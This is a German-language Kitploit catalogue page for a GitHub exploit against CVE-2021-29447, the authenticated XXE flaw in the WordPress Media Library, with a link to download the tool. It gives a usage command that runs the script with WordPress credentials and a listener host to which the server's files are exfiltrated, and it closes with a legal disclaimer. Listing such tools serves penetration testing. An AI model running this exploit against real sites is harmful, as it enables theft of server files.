Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
wordpress-cve-2021-29447 — Nutzen Sie die WordPress Media Library XML External Entity Injection (XXE) aus, um Dateien zu exfiltrieren. | Kitploit
Tools/GitHubGitHub/m3l0npan/wordpress-cve-2021-29447
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & Bildung
GitHubm3l0npan/wordpress-cve-2021-29447

wordpress-cve-2021-29447

Nutzen Sie die WordPress Media Library XML External Entity Injection (XXE) aus, um Dateien zu exfiltrieren.

Repository anzeigen
42vor 3 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

WordPress CVE-2021-29447 Exploit

Nutzt die XML-authentifizierte External Entity Injection (XXE) der WordPress Media Library aus, um Dateien zu exfiltrieren.

Behoben in WordPress 5.7.1.

Erfordert gültige WordPress-Anmeldedaten, um mit der Media Library zu interagieren.

Verwendung

root@kitploit:~
python3 wordpress-cve-2021-29447.py -l http://LOCAL_IP:PORT -r http://WORDPRESS_URL -u USERNAME -p PASSWORD

Das Skript fragt nach dem Dateipfad und gibt die angeforderte Datei zurück.

Danksagung

Inspiriert vom Skript von David Utón (M3n0sD0n4ld) ExploitDB.

Haftungsausschluss

Die Verwendung dieses Programms zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen und bundesstaatlichen Gesetze einzuhalten. Die Entwickler übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Programm verursacht werden. Nur für Bildungszwecke verwenden.

Lizenz

Dieses Skript wird unter der MIT-Lizenz veröffentlicht.

Tool herunterladen